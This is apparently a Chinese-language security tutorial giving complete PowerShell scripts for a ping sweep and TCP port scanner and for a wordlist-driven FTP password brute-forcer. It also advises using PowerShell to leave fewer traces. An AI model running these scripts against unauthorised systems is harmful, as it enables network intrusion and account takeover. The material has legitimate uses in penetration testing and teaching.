端口扫描与服务爆破
优质
小牛编辑
126浏览
2023-12-01
端口扫描
这里我们就开始了我们的端口扫描器的构建, 这里很多朋友肯定会说, 端口扫描不是有很多已经很成熟的脚本了么为什么还要去学习呢?那么我们首先想一想目前的一些优秀的端口扫描都是Python或者Go语言等进行编写的, 对于我们安全测试人员来说并不是最佳选择。因为对于Windows系统Python之类的环境并不是每一台电脑都有, 但Powershell不同我们不需要进行过多的操作即可进行丰富的操作, 这也是我们作为专业安全人员的基本素养: 尽可能进行少的操作, 因为你无法删除你所有的行踪, 物质守恒定律—-没有人能确保自己不留任何痕迹, 那么越少的操作无疑是我们需要思考的。
端口扫描脚本已经直接放在了下面, 同样大部分的注释等已经写的很清晰, 本脚本涉及到的几个点:
- 脚本参数的问题的解决, 可以看到我们的参数获取用了CmdletBinding的方法,这样我们可以设置参数的形式就有很多了, 比如我们需要一个参数是否可选,和参数的位置等
- 主机存活检测使用Ping来检测(ICMP)
- 端口扫描调用.NET的Socket来进行端口连接,如果连接建立代表端口连接成功
functionPortScan{ <# .DESCRIPTION 端口扫描 .PARAMETER StartAddress Ip开始地址Range .PARAMETER EndAddress Ip结束地址Range .PARAMETER GetHost 解析获取主机名HostName .PARAMETER ScanPort 端口扫描参数,若不打开就是主机存活的探测PortScan .PARAMETER Ports 需要扫描的端口,默认有:21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086, 1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001, 8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030 .PARAMETER TimeOut TimeOut默认是10sTimeOut100 .EXAMPLE PS >PortScan-StartAddress172.16.50.1-EndAddress172.16.50.254 .EXAMPLE PS >PortScan-StartAddress172.16.50.1-EndAddress172.16.50.254-GetHost .EXAMPLE PS >PortScan-StartAddress172.16.50.1-EndAddress172.16.50.254-GetHost-ScanPort .EXAMPLE PS >PortScan-StartAddress172.16.50.1-EndAddress172.16.50.254-GetHost-ScanPort-TimeOut500 .EXAMPLE PS >PortScan-StartAddress172.16.50.1-EndAddress172.16.50.254-GetHost-ScanPort-Port80 #> [CmdletBinding()]Param( [parameter(Mandatory= $true,Position=0)] [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")] [string] $StartAddress, [parameter(Mandatory= $true,Position=1)] [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")] [string] $EndAddress, [switch] $GetHost, [switch] $ScanPort, [int[]] $Ports =@(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030), [int] $TimeOut =100 ) Begin{ # 开始之前先调用Ping组件 $ping =New-ObjectSystem.Net.Networkinformation.Ping } Process{ # 四层循环获取解析IP地址 foreach($a in($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])){ foreach($b in($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])){ foreach($c in($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])){ foreach($d in($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])){ # write-progress用于在shell界面显示一个进度条 write-progress -activity PingSweep-status "$a.$b.$c.$d"-percentcomplete (($d/($EndAddress.Split(".")[3]))*100) # 通过Ping命令发送ICMP包探测主机是否存活 $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut) if($pingStatus.Status-eq "Success"){ if($GetHost){ # 本分支主要解决主机名的问题 # write-progress用于在shell界面显示一个进度条 write-progress -activity GetHost-status "$a.$b.$c.$d"-percentcomplete (($d/($EndAddress.Split(".")[3]))*100)-Id1 # 获取主机名 $getHostEntry =[Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null) } if($ScanPort){ # 定义一个开放的端口数组, 存储开放的端口 $openPorts =@() for($i =1; $i -le $ports.Count;$i++){ $port = $Ports[($i-1)] # write-progress用于在shell界面显示一个进度条 write-progress -activity PortScan-status "$a.$b.$c.$d"-percentcomplete (($i/($Ports.Count))*100)-Id2 # 定义一个Tcp的客户端 $client =New-ObjectSystem.Net.Sockets.TcpClient # 开始连接 $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null) if($client.Connected){ # 加入开放的端口 $openPorts += $port }else{ # 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会 Start-Sleep-Milli $TimeOut if($client.Connected){ $openPorts += $port } } $client.Close() } } if($GetHost){ # 获取主机名 $hostName =([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName } # 返回对象-哈希表 New-ObjectPSObject-Property@{ IPAddress="$a.$b.$c.$d"; HostName= $hostName; Ports= $openPorts }|Select-ObjectIPAddress,HostName,Ports } } } } } } End{ # 其他脚本运行结束代码 } }
我们开看看一个简单的扫描结果:
那么其他扫描模式可自行测试, 可以看到这种扫描是知识单线程模式, 关于多线程的编程我们放在后面再来研究。
服务爆破
那么我们进入到服务爆破的阶段, 那么我们端口扫描之后的一步必然就是进行服务的弱点攻击, 对于一些服务比如21FTP和数据库之类的服务进行爆破是安全测试必经的过程, 那么我们来以FTP服务爆破来举例
functionInvoke-BruteForce { <# .DESCRIPTION FTP服务爆破脚本 .PARAMETER Computername 主机名参数 .PARAMETER UserList 用户字典参数 .PARAMETER PasswordList 密码字典参数 .PARAMETER Service 服务名参数 .PARAMETER StopOnSuccess 找到密码时是否退出 .PARAMETER Delay 爆破时间间隔,默认为0 .EXAMPLE PS C:\Users\rootclay\Desktop\powershell> FTP-BruteForce-ComputerName localhost -UserList C:\Users\rootclay\Desktop\powershell\dict\username.txt -PasswordList C:\Users\rootclay\Desktop\powershell\dict\pass.txt -Service ftp -verbose #> [CmdletBinding()]Param( [Parameter(Mandatory= $true,Position=0,ValueFromPipeline=$true)] [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")] [String] $ComputerName, [Parameter(Position=1,Mandatory= $true)] [Alias('Users')] [String] $UserList, [Parameter(Position=2,Mandatory= $true)] [Alias('Passwords')] [String] $PasswordList, [Parameter(Position=3,Mandatory= $true)][ValidateSet("FTP")] [String] $Service ="FTP", [Parameter(Position=4,Mandatory= $false)] [Switch] $StopOnSuccess, [Parameter(Position=6,Mandatory= $false)] [UInt32] $Delay =0 ) Begin{ # 开始之前相关代码 } Process { # Write-Verbose用于打印详细信息 Write-Verbose"Starting Brute-Force and Delay is $Delay." # 获取用户名与密码字典 $usernames =Get-Content-ErrorActionSilentlyContinue-Path $UserList $passwords =Get-Content-ErrorActionSilentlyContinue-Path $PasswordList if(!$usernames){ $usernames = $UserList Write-Verbose"UserList file does not exist." Write-Verbose $usernames } if(!$passwords){ $passwords = $PasswordList Write-Verbose"PasswordList file does not exist." Write-Verbose $passwords } # Brute Force FTP if($service -eq "FTP") { # 机器名的处理:若ftp://开始直接获取名字,若没有直接加上 if($ComputerName -notMatch "^ftp://") { $source ="ftp://"+ $ComputerName } else { $source = $ComputerName } Write-Output"Brute Forcing FTP on $ComputerName" :UsernameLoopforeach($username in $usernames) { foreach($Password in $Passwords) { try { # 调用.net中的FTP库进行连接 $ftpRequest =[System.Net.FtpWebRequest]::Create($source) $ftpRequest.Method=[System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails # 通过Verbose输出的信息 Write-Verbose"Trying $userName : $password" # 进行认证连接 $ftpRequest.Credentials=new-objectSystem.Net.NetworkCredential($userName, $password) # 获取返回信息 $result = $ftpRequest.GetResponse() $message = $result.BannerMessage+ $result.WelcomeMessage # 打印信息到控制台 Write-Output"Match $username : $Password" $success = $true # 判断是否要得到结果立刻退出 if($StopOnSuccess) { breakUsernameLoop } } catch { $message = $error[0].ToString() $success = $false } # 延时爆破 Start-Sleep-Seconds $Delay } } } } End{ # 其他脚本运行结束代码 } }
下面来看看爆破的结果:
如果不加-verbose参数显示是非常清爽的: